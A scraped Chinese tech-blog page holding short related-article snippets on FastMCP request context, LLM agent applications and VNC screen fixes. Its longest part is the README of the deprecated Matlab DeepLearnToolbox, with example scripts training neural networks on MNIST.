本文介绍了如何在使用FastMCP框架的工具函数中获取请求信息。通过Context对象可以访问请求上下文,包括请求头、用户信息等。具体实现方式是在工具函数中注入ctx:Context参数,通过ctx.request_context.request获取Starlette的Request对象,从而访问headers等信息。Context参数的位置可以灵活放置,但建议放在函数参数的开头或末尾。这种机制为权限校验、数据打点等操作提供了统一访问不同通信模式下请求信息的解决方案。

wjianwei666的专栏 389

【大模型学习】盘点一下!大模型Agent 在各个行业领域的 “花式玩法”,涉及特别广泛~~

大模型Agent的跨领域创新应用 本文系统梳理了大模型Agent在各领域的创新应用。在内容创作领域,MovieAgent实现了自动化电影生成,PodAgent优化播客制作流程;数据分析方面,PlotGen提升了科学可视化性能;在技术开发领域,CodeR解决GitHub问题,FixAgent改进软件调试效率;金融分析中,FinRobot提供了专业解决方案;医疗领域则通过多Agent系统实现隐私保护型智能助手。此外,AIOS优化系统资源管理,Genex模拟人类认知用于具身AI,INFOGENT和AutoWebG

2501_91810672的博客 1138

深度学习工具包 DeepLearningToolbox

深度学习工具包Deprecation notice.-----This toolbox is outdated and no longer maintained.There are much better tools available for deep learning than this toolbox, e.g. [Theano](http://deeplearning.net/software/theano/), [torch](http://torch.ch/) or [tensorflow](http://www.tensorflow.org/)I would suggest you use one of the tools mentioned above rather than use this toolbox.Best, Rasmus.DeepLearnToolbox================A Matlab toolbox for Deep Learning.Deep Learning is a new subfield of machine learning that focuses on learning deep hierarchical models of data.It is inspired by the human brain's apparent deep (layered, hierarchical) architecture.A good overview of the theory of Deep Learning theory is[Learning Deep Architectures for AI](http://www.iro.umontreal.ca/~bengioy/papers/ftml_book.pdf)For a more informal introduction, see the following videos by Geoffrey Hinton and Andrew Ng.* [The Next Generation of Neural Networks](http://www.youtube.com/watch?v=AyzOUbkUf3M) (Hinton, 2007)* [Recent Developments in Deep Learning](http://www.youtube.com/watch?v=VdIURAu1-aU) (Hinton, 2010)* [Unsupervised Feature Learning and Deep Learning](http://www.youtube.com/watch?v=ZmNOAtZIgIk) (Ng, 2011)If you use this toolbox in your research please cite [Prediction as a candidate for learning deep hierarchical models of data](http://www2.imm.dtu.dk/pubdb/views/publication_details.php?id=6284)```@MASTERSTHESIS\{IMM2012-06284, author = "R. B. Palm", title = "Prediction as a candidate for learning deep hierarchical models of data", year = "2012",}```Contact: rasmusbergpalm at gmail dot comDirectories included in the toolbox-----------------------------------`NN/` - A library for Feedforward Backpropagation Neural Networks`CNN/` - A library for Convolutional Neural Networks`DBN/` - A library for Deep Belief Networks`SAE/` - A library for Stacked Auto-Encoders`CAE/` - A library for Convolutional Auto-Encoders`util/` - Utility functions used by the libraries`data/` - Data used by the examples`tests/` - unit tests to verify toolbox is workingFor references on each library check REFS.mdSetup-----1. Download.2. addpath(genpath('DeepLearnToolbox'));Example: Deep Belief Network---------------------```matlabfunction test_example_DBNload mnist_uint8;train_x = double(train_x) / 255;test_x = double(test_x) / 255;train_y = double(train_y);test_y = double(test_y);%% ex1 train a 100 hidden unit RBM and visualize its weightsrand('state',0)dbn.sizes = [100];opts.numepochs = 1;opts.batchsize = 100;opts.momentum = 0;opts.alpha = 1;dbn = dbnsetup(dbn, train_x, opts);dbn = dbntrain(dbn, train_x, opts);figure; visualize(dbn.rbm{1}.W'); % Visualize the RBM weights%% ex2 train a 100-100 hidden unit DBN and use its weights to initialize a NNrand('state',0)%train dbndbn.sizes = [100 100];opts.numepochs = 1;opts.batchsize = 100;opts.momentum = 0;opts.alpha = 1;dbn = dbnsetup(dbn, train_x, opts);dbn = dbntrain(dbn, train_x, opts);%unfold dbn to nnnn = dbnunfoldtonn(dbn, 10);nn.activation_function = 'sigm';%train nnopts.numepochs = 1;opts.batchsize = 100;nn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.10, 'Too big error');```Example: Stacked Auto-Encoders---------------------```matlabfunction test_example_SAEload mnist_uint8;train_x = double(train_x)/255;test_x = double(test_x)/255;train_y = double(train_y);test_y = double(test_y);%% ex1 train a 100 hidden unit SDAE and use it to initialize a FFNN% Setup and train a stacked denoising autoencoder (SDAE)rand('state',0)sae = saesetup([784 100]);sae.ae{1}.activation_function = 'sigm';sae.ae{1}.learningRate = 1;sae.ae{1}.inputZeroMaskedFraction = 0.5;opts.numepochs = 1;opts.batchsize = 100;sae = saetrain(sae, train_x, opts);visualize(sae.ae{1}.W{1}(:,2:end)')% Use the SDAE to initialize a FFNNnn = nnsetup([784 100 10]);nn.activation_function = 'sigm';nn.learningRate = 1;nn.W{1} = sae.ae{1}.W{1};% Train the FFNNopts.numepochs = 1;opts.batchsize = 100;nn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.16, 'Too big error');```Example: Convolutional Neural Nets---------------------```matlabfunction test_example_CNNload mnist_uint8;train_x = double(reshape(train_x',28,28,60000))/255;test_x = double(reshape(test_x',28,28,10000))/255;train_y = double(train_y');test_y = double(test_y');%% ex1 Train a 6c-2s-12c-2s Convolutional neural network %will run 1 epoch in about 200 second and get around 11% error. %With 100 epochs you'll get around 1.2% errorrand('state',0)cnn.layers = { struct('type', 'i') %input layer struct('type', 'c', 'outputmaps', 6, 'kernelsize', 5) %convolution layer struct('type', 's', 'scale', 2) %sub sampling layer struct('type', 'c', 'outputmaps', 12, 'kernelsize', 5) %convolution layer struct('type', 's', 'scale', 2) %subsampling layer};cnn = cnnsetup(cnn, train_x, train_y);opts.alpha = 1;opts.batchsize = 50;opts.numepochs = 1;cnn = cnntrain(cnn, train_x, train_y, opts);[er, bad] = cnntest(cnn, test_x, test_y);%plot mean squared errorfigure; plot(cnn.rL);assert(er<0.12, 'Too big error');```Example: Neural Networks---------------------```matlabfunction test_example_NNload mnist_uint8;train_x = double(train_x) / 255;test_x = double(test_x) / 255;train_y = double(train_y);test_y = double(test_y);% normalize[train_x, mu, sigma] = zscore(train_x);test_x = normalize(test_x, mu, sigma);%% ex1 vanilla neural netrand('state',0)nn = nnsetup([784 100 10]);opts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samples[nn, L] = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.08, 'Too big error');%% ex2 neural net with L2 weight decayrand('state',0)nn = nnsetup([784 100 10]);nn.weightPenaltyL2 = 1e-4; % L2 weight decayopts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samplesnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex3 neural net with dropoutrand('state',0)nn = nnsetup([784 100 10]);nn.dropoutFraction = 0.5; % Dropout fraction opts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samplesnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex4 neural net with sigmoid activation functionrand('state',0)nn = nnsetup([784 100 10]);nn.activation_function = 'sigm'; % Sigmoid activation functionnn.learningRate = 1; % Sigm require a lower learning rateopts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samplesnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex5 plotting functionalityrand('state',0)nn = nnsetup([784 20 10]);opts.numepochs = 5; % Number of full sweeps through datann.output = 'softmax'; % use softmax outputopts.batchsize = 1000; % Take a mean gradient step over this many samplesopts.plot = 1; % enable plottingnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex6 neural net with sigmoid activation and plotting of validation and training error% split training data into training and validation datavx = train_x(1:10000,:);tx = train_x(10001:end,:);vy = train_y(1:10000,:);ty = train_y(10001:end,:);rand('state',0)nn = nnsetup([784 20 10]); nn.output = 'softmax'; % use softmax outputopts.numepochs = 5; % Number of full sweeps through dataopts.batchsize = 1000; % Take a mean gradient step over this many samplesopts.plot = 1; % enable plottingnn = nntrain(nn, tx, ty, opts, vx, vy); % nntrain takes validation set as last two arguments (optionally)[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');```[![Bitdeli Badge](https://d2weczhvl823v0.cloudfront.net/rasmusbergpalm/deeplearntoolbox/trend.png)](https://bitdeli.com/free "Bitdeli Badge")

文档:亲测可用解决vnc灰屏,黑屏,鼠标大黑叉情况

主要解决vnc-viewer灰屏,黑屏,鼠标大黑叉等现象,详细见文档。

上一篇: 大模型技术基础学习路线,想要学好大模型应该具备哪些能力?
下一篇: 爆火的AI Agent究竟是啥?一篇文章给你讲透!(内含实例)
爱喝白开水a
博客等级 码龄3年 6793粉丝 763原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值